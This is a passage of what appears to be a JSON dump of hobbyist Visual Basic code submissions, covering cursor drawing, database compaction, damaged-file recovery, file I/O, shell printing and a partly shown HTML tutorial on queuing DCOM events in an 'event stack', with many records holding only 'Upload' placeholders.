<> ThreadID Then\n AttachThreadInput CurrentThreadID, ThreadID, True\n hCursor = GetCursor()\n AttachThreadInput CurrentThreadID, ThreadID, False\n \n ' If the cursor is owned by our thread, use GetCursor() normally\n Else\n hCursor = GetCursor()\n End If\n \n ' Use DrawIcon to draw the cursor to picCursor\n DrawIcon picCursor.hdc, 0, 0, hCursor\nEnd Sub\nPrivate Sub cmdExit_Click()\n ' Cleanup\n tmrCursor.Enabled = False\n OnTop frmMain, False\n \n ' Exit\n End\nEnd Sub\nPrivate Sub Form_Load()\n ' Make the form always on top\n OnTop frmMain, True\n \n ' Move frmMain to the upper-left corner of the screen\n frmMain.Move 0, 0\nEnd Sub\nPrivate Sub tmrCursor_Timer()\n ' Clear the picturebox before drawing another cursor image\n picCursor.Cls\n \n ' Draw the cursor\n PaintCursor\nEnd Sub"},{"WorldId":1,"id":8435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8274,"LineNumber":1,"line":"'## To use:\nprivate sub command1_click()\n msgbox compressdatabase (\"C:\\database.mdb\") '## Replace with path to database\nend sub\nPublic Function CompressDatabase(mSourceDB As String) As Boolean\non error goto Err\n Dim JRO As JRO.JetEngine\n Set JRO = New JRO.JetEngine\n \n Dim srcDB As String\n Dim destDB As String\n \n srcDB = mSource\n destDB = \"backup.mdb\"\n \n JRO.CompactDatabase \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & srcDB & \";Jet OLEDB:Database Password=\" & PASSWORD, _\n \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & destDB & \";Jet OLEDB:Database Password=\" & PASSWORD & \";Jet OLEDB:Engine Type=4\"\n Kill srcDB\n DoEvents\n Name destDB As srcDB\n compressdatabase = true\n exit function\nErr:\n compressdatabase = false\nEnd Function\n"},{"WorldId":1,"id":8975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9243,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim Buffer As String\n Dim Location As Single\n Dim Lenght As Single\n Dim ErrCount As Single\n \n \n Open \"a:\\DamadgedFile.dat\" For Binary As #1 'the file that is damadged\n Open \"c:\\temp\\DamadgedFile.dat\" For Binary As #2 'copy of damadged file (in my case in folder C:\\temp)\n \n Lenght = LOF(1)\n \n On Error Resume Next\n Buffer = Space(1)\n \n For Location = 1 To Lenght\n Get #1, Location, Buffer\n If Err <> 0 Then\n ErrCount = ErrCount + 1\n Debug.Print \"ERROR no.: \" + Format$(ErrCount) + \". Cannot read data on location\" + Format$(Location)\n Buffer = \" \" 'change damadged data with space\n Err.Clear\n End If\n Put #2, Location, Buffer\n Next\n Close\n x = MsgBox(\"Done\")\n End\n \n 'Go to c:\\temp\\DamadgedFile.dat\" and try to open it...\n 'most Word, Excel, CDR, jpg, bmp, ..... and other file tipes will open with no\n 'significant errors in the content...\n '\n 'Well, hope this helps u restore your data...\n \nEnd Sub\n"},{"WorldId":1,"id":9223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8363,"LineNumber":1,"line":"rem This function will write a file.\nrem Usage: WriteStuff <filename w/path>,<text to write>\nFunction WriteStuff(fileout,textout)\nDim filesys,filetxt\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet filetxt = filesys.CreateTextFile(fileout,True)\nfiletxt.WriteLine(textout)\nfiletxt.Close\nEnd Function\nrem This function will read the contents of a textfile.\nrem Usage: buffer = ReadStuff(<filename w/ path>)\nFunction ReadStuff(fileout)\nDim filesys,filetxt\nSet filesys = CreateObject(\"Scripting.FileSystemObject\")\nSet filetxt = filesys.OpenTextFile(fileout)\nReadStuff = filetxt.ReadAll\nfiletxt.Close\nEnd Function"},{"WorldId":1,"id":8359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10021,"LineNumber":1,"line":"Public Function ShellPrint(jFormHwnd As Long, FilePath As String) As String\n Dim Answer As Integer\n Dim Msg As String\n \n Answer = ShellExecute(jFormHwnd, \"Print\", FilePath, vbNullString, vbNullString, vbNormalFocus)\n If Answer <= 32 Then\n 'There was an error\n Select Case Answer\n Case SE_ERR_FNF\n Msg = \"File not found\"\n Case SE_ERR_PNF\n Msg = \"Path not found\"\n Case SE_ERR_ACCESSDENIED\n Msg = \"Access denied\"\n Case SE_ERR_OOM\n Msg = \"Out of memory\"\n Case SE_ERR_DLLNOTFOUND\n Msg = \"DLL not found\"\n Case SE_ERR_SHARE\n Msg = \"A sharing violation occurred\"\n Case SE_ERR_ASSOCINCOMPLETE\n Msg = \"Incomplete or invalid file association\"\n Case SE_ERR_DDETIMEOUT\n Msg = \"DDE Time out\"\n Case SE_ERR_DDEFAIL\n Msg = \"DDE transaction failed\"\n Case SE_ERR_DDEBUSY\n Msg = \"DDE busy\"\n Case SE_ERR_NOASSOC\n Msg = \"No association for file extension\"\n Case ERROR_BAD_FORMAT\n Msg = \"Invalid EXE file or error in EXE image\"\n Case Else\n Msg = \"Unknown error\"\n End Select\n End If\n ShellPrint = Msg\nEnd Function\n\nPrivate Sub Command1_Click()\n Dim x As String\n \n x = ShellPrint(Me.hwnd, \"C:\\Bad File\")\n \n If x <> vbNullString Then\n MsgBox x\n End If\nEnd Sub\n"},{"WorldId":1,"id":10258,"LineNumber":1,"line":"'All you need to provide is a prefix if desired, and the file extention\nPrivate Function CreateTempFile(sPrefix As String, sSuffix As String) As String\n Dim sTmpPath As String * 512\n Dim sTmpName As String * 576\n Dim nRet As Long\n 'Some API and string manipulation to get the temp file created\n nRet = GetTempPath(512, sTmpPath)\n If (nRet > 0 And nRet < 512) Then\n nRet = GetTempFileName(sTmpPath, sPrefix, 0, sTmpName)\n If nRet <> 0 Then\n sTmpName = Left$(sTmpName, _\n InStr(sTmpName, vbNullChar) - 1)\n CreateTempFile = Left(Trim(sTmpName), Len(Trim(sTmpName)) - 3) & sSuffix\n End If\n End If\nEnd Function\nPrivate Sub Command1_Click()\n Dim sTmpFile As String\n Dim sMsg As String\n Dim hFile As Long\n 'We're trying to print a richtextbox, so give it something to name\n 'it by, and make sure you set the extention to rtf.\n 'You could print a textbox by using txt, etc.\n sTmpFile = CreateTempFile(\"jTmp\", \"rtf\")\n \n 'Gets the next available open number\n hFile = FreeFile\n 'open the file and give it the textRTF of the richtextbox\n 'if you don't want to use boxed, you could just pass a string here\n Open sTmpFile For Binary As hFile\n Put #hFile, , RichTextBox1.TextRTF\n Close hFile\n \n 'shell print it\n Call ShellExecute(0&, \"Print\", sTmpFile, vbNullString, vbNullString, vbHide)\n \n 'delete it.\n Kill sTmpFile\nEnd Sub\n"},{"WorldId":1,"id":8938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8465,"LineNumber":1,"line":"Private Sub Command1_Click()\nthetext = Text1.Text\nincremnttxt = findchr(thetext)\nText2.Text = incremnttxt\nEnd Sub\nFunction findchr(ByVal thetext As String)\nDim strlen As Integer\nDim A1() As String\nstrlen = Len(thetext) ' number of characters\nReDim A1(strlen)\nFor L = 1 To UBound(A1) ' parse individual characters\nA1(L) = Mid(thetext, L, 1)\nNext L\n \nFor nxtchar = 1 To UBound(A1) ' cyle through characters increment ascii value\nvalchar = (UBound(A1)) - (nxtchar - 1)\n If Asc(A1(valchar)) >= 65 And Asc(A1(valchar)) <= 90 Or _\n Asc(A1(valchar)) >= 97 And Asc(A1(valchar)) <= 122 Then ' upper and lower alpha characters\n If Asc(A1(valchar)) = 90 Or Asc(A1(valchar)) = 122 Then\n If Asc(A1(valchar)) = 90 Then\n If valchar = 1 Then ' fisrt char at the end of ascii list\n A1(valchar) = \"AA\"\n Else\n A1(valchar) = \"A\"\n End If\n Else\n If valchar = 1 Then ' fisrt char at the end of ascii list\n A1(valchar) = \"aa\"\n Else\n A1(valchar) = \"a\"\n End If\n End If\n Else\n A1(valchar) = Chr(Asc(A1(valchar)) + 1) ' increment ascii by one\n GoTo noneedto:\n End If\n ElseIf Asc(A1(valchar)) > 47 And Asc(A1(valchar)) < 58 Then 'numeric values\n If Asc(A1(valchar)) = 57 Then\n If valchar = 1 Then ' fisrt char at the end of ascii list\n A1(valchar) = \"10\"\n Else\n A1(valchar) = \"0\"\n End If\n Else\n A1(valchar) = Chr(Asc(A1(valchar)) + 1) ' increment ascii by one\n GoTo noneedto:\n End If\n End If\nNext nxtchar\nnoneedto: 'once a char is increment and is not carried over no need to increment all chars\nFor mke = LBound(A1) To UBound(A1) ' make text\nfindchr = Trim$(findchr) & A1(mke)\nNext mke\nEnd Function\n\n"},{"WorldId":1,"id":8597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9940,"LineNumber":1,"line":"<html>\n<head>\n<title>Implementing an event stack</title>\n<style>\n\n</style>\n</head>\n<body lang=EN-US style='tab-interval:.5in;text-justify-trim:punctuation'>\n<div class=Section1>\n<h1>Implementing an Event Stack in VB</h1>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWith the advent of COM, DCOM and COM+, distributed\napplications are fast becoming, indeed, have already become, a major focus for\nnew development tactics. It's just not enough anymore to write a puny little Access\ndatabase application and hope you won't need to implement it in a network\nenvironment. More and more distributed applications are relying on an n-tier\nmodel to get the job done. If you haven't yet had to deal with the increasing\ndemands of LAN, WAN and intranet-deployed apps, you might as well get ready,\nbecause you'll have to eventually.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDCOM allows VB programmers to create ActiveX servers that\ncan run as a standalone EXE on a remote machine. Because they run\nout-of-process, unlike DLLs, multiple instances of the same class (perhaps\ncalled by multiple applications on many different machines) can be accessed all\nwithin the same process on the server machine. The EXE loads once, supplies the\nclass interface to whoever needs it, and when it's no longer needed, the EXE\nunloads. Actually, it's much more complex than this, but if you want to learn\nDCOM, read a book.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>So what's the problem?<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis remote instantiation is all well and good, a\nrevolution in computing, a watershed in distributed blah blah blah… with one\nmajor drawback (at least for those ActiveX servers developed in VB). It's not\nasynchronous. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat does this mean? Asynchronous code is code that,\nthrough multithreading or some other trickiness executes at the same time as\nyour application code. Instead of calling a method of your class to, say,\nretrieve ten thousand records from an SQL database, then waiting while it\nexecutes, then proceeding with your code, asynchronous execution would allow\nyou to call the method, which would return immediately, allowing you to\ncontinue execution. In this example, when the class instance had completed\nfetching the SQL result set, it would, say, raise an event to let your app know\nthat it was finished. If you use ADO with events, you know what I'm talking\nabout.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThe same system works in reverse. That is, when a control\nor class raises an event trapped by the parent application, before the control\ncode can continue executing, the application has to execute its event code. For\nexample, when the Click event is raised, all the event code executes before\nreturning execution flow control to the ActiveX control. If you don't believe\nme, try it yourself. You'll never receive a MouseUp event before you finish\nprocessing the MouseDown event.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow, normally, with an ActiveX control or DLL, all the\ncode runs in-process, i.e.: your app is the only one using it, so it doesn't\nreally matter if the control code stops execution while it waits for the event\nto return. In fact, this is probably for the best. Who wants to receive the\nMouseUp Event before you finish processing the MouseDown event? But with a DCOM\nserver component, running on a remote machine, that code can be executed by\nhundreds of users at once, could be raising dozens of events at any one time,\nfrom any number of classes. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf the DCOM server component raises each of those events\nto your app, then has to wait (while the application executes ten thousand\nlines of code) before regaining execution flow control, the server is sitting\nthere, waiting for you to return flow control. While you're processing the\nevent code in your app, your preventing the server component from doing it's\njob.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is, obviously, not a good thing.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat's the answer to this dilemma? You got it, smart guy.\nAn event stack.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>What the heck is an event stack?<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOooo. A "Stack". Scary word. Pointers.\nShades of linked lists and other murky memories from OOP theory courses you\nslept through at school, right? Not so, my skittish friend. It's actually a\npiece of cake to implement. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDisclaimer: Before you hard-core coders out there\nstart sending me e-mails, what we're doing here is not technically a stack.\nSince a stack uses a Last In First Out (LIFO) implementation, it's unsuitable\nfor processing events in the order that they arrive (unless you're into that\nsort of thing). Technically, I guess you could call this an event pipe, or\nlist, or funnel, but stack sounds cooler. Say it with me. Stack.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAn event stack exists for one purpose: to trap events and\nstore them for later processing. It's sort of like the transmission on your\ncar. Your transmission allows the engine and drive shaft to spin at two\ndifferent speeds without killing you and destroying your car. An event stack\nallows your app to run and receive events from the remote DCOM component,\nwithout taking execution flow away from that component. All right, so think of\nyour app as the wheels, and the DCOM component as the engine. Make more sense\nnow? No? Well I'm a VB geek, not a mechanic. Just stay tuned and you'll get it\neventually.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Okay, so what do I need?<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nKnow anything about arrays? User-defined types? The VB\ntimer control? If so, you've got all the knowledge you need to implement an\nevent stack. If not, well... I guess you're out of luck.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Get to the point, already.<u1:p></u1:p></h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat follows is the most basic way I know to create an\nevent stack. Obviously there are any number of improvements and changes you\ncould make. Among others: \n┬╖┬á┬á┬á┬á┬á Define a cEvent\nclass with a parameters collection instead of a UDT to hold your event\ninformation.\n┬╖┬á┬á┬á┬á┬á Define an EventStack\ncollection with Push and Pop methods to contain the various events.\n┬╖┬á┬á┬á┬á┬á Use the SetTimer API\ninstead of the VB Timer control to trigger stack processing.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2><u1:p></u1:p>Step 1: Creating the event</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>First, we need to create a variable to hold\nthe information we're going to be receiving as parameters from the event. Let's\ntake a grossly simplified example. I've created an ActiveX DCOM component\nthat's running on a server machine. It exposes a class called Xchat,\nwhose purpose in life is to receive information via a Post method:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Sub <span\nstyle='color:windowtext'>Post (<span\nstyle='color:navy'>Optional Info1 <span\nstyle='color:navy'>As Long, _<span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Optional Info2\nAs String, _<span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Optional Info3\nAs String)<u1:p></u1:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>And call an underlying function in a public\nmodule which will pass this information to all the instances of the Xchat\nclass, by raising the Dookie event:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>Public Event\nDookie (Info1\nAs Long, _\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Info2\nAs String, _\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Info3 <span\nstyle='color:navy'>As String)<u1:p></u1:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>This kind of DCOM server could be useful in hundreds\nof ways; allowing a machine to poll the server to see how many connections are\nactive, as a component in a simple chat program, or a low-tech communications\nprotocol between apps running on different PCs. You get the idea.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this case we only want to trap one event, whose\nparameters we know, so let's create a User-defined type (UDT) in a regular .BAS\nmodule, to hold the event parameters.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Type t_Event<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>FirstParam<span\nstyle='color:blue'> As Long<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>SecondParam<span\nstyle='color:blue'> As String<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>ThirdParam<span\nstyle='color:blue'> As String<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\nEnd Type<u1:p></u1:p><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>If you want to hold different events in your\nstack (let's say a Timer event and an Error event), you might want to add an EventID\nmember to your UDT so the eventual processor of the events knows which event\nit's processing. Likewise, you could add a ControlID if you want to trap\nevents from different controls, etc.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n"But what if we don't know that all the events will\ncontain the same parameters?", I hear you ask. Good question. Like I said,\nthis is the simplest way to create an event stack. If you don't know\nwhat parameters you'll be receiving, you could implement a Parameters\ncollection as a member of an Event class, which in turn would be\ncontained in an EventStack collection, etc., etc.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEasy enough, right? Wait. It gets even easier. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Step 2: Creating the stack</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow we need to create a global variable in the same module\nto hold all of our event information:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic a_EventStack() <span\nstyle='color:navy'>As t_Event<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis array will hold all of our miscellaneous event\ninformation. We'll add events to the array, one at a time, as we receive them.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Step 3: Trapping the event</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLet's assume you're using the Xchat class in your\napp. If you want to receive events from this component, you need to declare it\nusing the WithEvents keyword. So create a form in VB. In the code view for\nthe form, right after the Option Explicit statement (you do use Option\nExplicit, don't you? Good.) type the following:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim WithEvents xc_Remote <span\nstyle='color:navy'>As Xchat<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\nDim b_LockStackProcessing\nAs Boolean<u1:p></u1:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis, of course assumes you've correctly referenced the\nremote component type libraries, configured it with Dcomcnfg.exe, and a\nwhole bunch of other stuff that is beyond the scope of this article.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow, if you click on the object combo box at the top of\nthe code view window, you should see xc_Remote show up in the list of available\nobjects. Click on it, and like magic, we're transported to the Dookie\nevent.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHere is where the major advantage of an event stack starts\nto become apparent. In the normal course of things, if this were a regular\nclass, a DLL, or an ActiveX control, you would do something like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub xc_Remote_Dookie (Info1<span\nstyle='color:blue'> As Long,<span\nstyle='color:blue'> Info2 <span\nstyle='color:navy'>As String, Info3<span\nstyle='color:blue'> As String)<u1:p></u1:p><span\nstyle='color:blue'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á 'Execute\nten thousand lines of <o:p></o:p>\n┬á┬á\n'time-consuming, processor intensive code<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\nEnd Sub<u1:p></u1:p><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHowever, it's not. This component is raising dozens of\nevents per second, possibly to multiple clients, each of which wants to execute\nits ten thousand lines of code before returning control to the server. See a\nproblem?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn order to get around this dilemma, we'll replace the\ntraditional event code with something like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Private Sub xc_Remote_Dookie(Info1<span\nstyle='color:navy'> As Long, Info2 As String, Info3<span\nstyle='color:navy'> As String)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Dim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count<span\nstyle='color:navy'> As Long<u1:p></u1:p><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á If <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_LockStackProcessing<span\nstyle='color:navy'> Then<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Exit Sub<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á End If<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error GoTo <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>err_EmptyArray<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count<span\nstyle='color:navy'> = UBound(a_EventStack)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á ReDim Preserve <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>a_EventStack(l_Count\n+ 1)<u1:p></u1:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á err_Reentry:<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error GoTo <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>0<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á a_EventStack(l_Count + 1).FirstParam =\nInfo1<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á a_EventStack(l_Count + 1).SecondParam =\nInfo2<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á a_EventStack(l_Count + 1).ThirdParam =\nInfo3<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á Exit Sub<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á err_EmptyArray:<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á l_Count = 0<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á ReDim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>a_EventStack(l_Count)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Resume <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>err_Reentry<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á End Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>All this really does is grab the event\ninformation and slap it into our event stack, and then returns control to the\ncomponent that raised the event. Since this code will execute in a fraction of\nthe time it would take to actually fully process the event, it doesn't take\ncontrol away from the server component for too long, and allows the\nserver to continue doing its job.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>Step 4: Processing the event</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow let's add a timer control tmr_Event to the\nform, and set the interval property to some suitably small period, say 200 milliseconds.\nThe Timer event is where we'll process all the events we've trapped in\nour stack, so we want to process the stack often enough to stay abreast of the\nevents being raised by the server, but not so often that we're constantly\ninterrupting client execution to handle the stack. After all, presumably this\napplication has other things to do.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBack into the code view for the form, let's add some code\nto the Timer event:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n┬á┬á┬á Private Sub <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>tmr_Event_Timer<span\nstyle='color:navy'>()<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Static <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry<span\nstyle='color:navy'> As Boolean<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Dim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count<span\nstyle='color:navy'> As long<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Dim <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>i<span\nstyle='color:navy'> As Integer<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á If <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry<span\nstyle='color:navy'> Then<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nExit 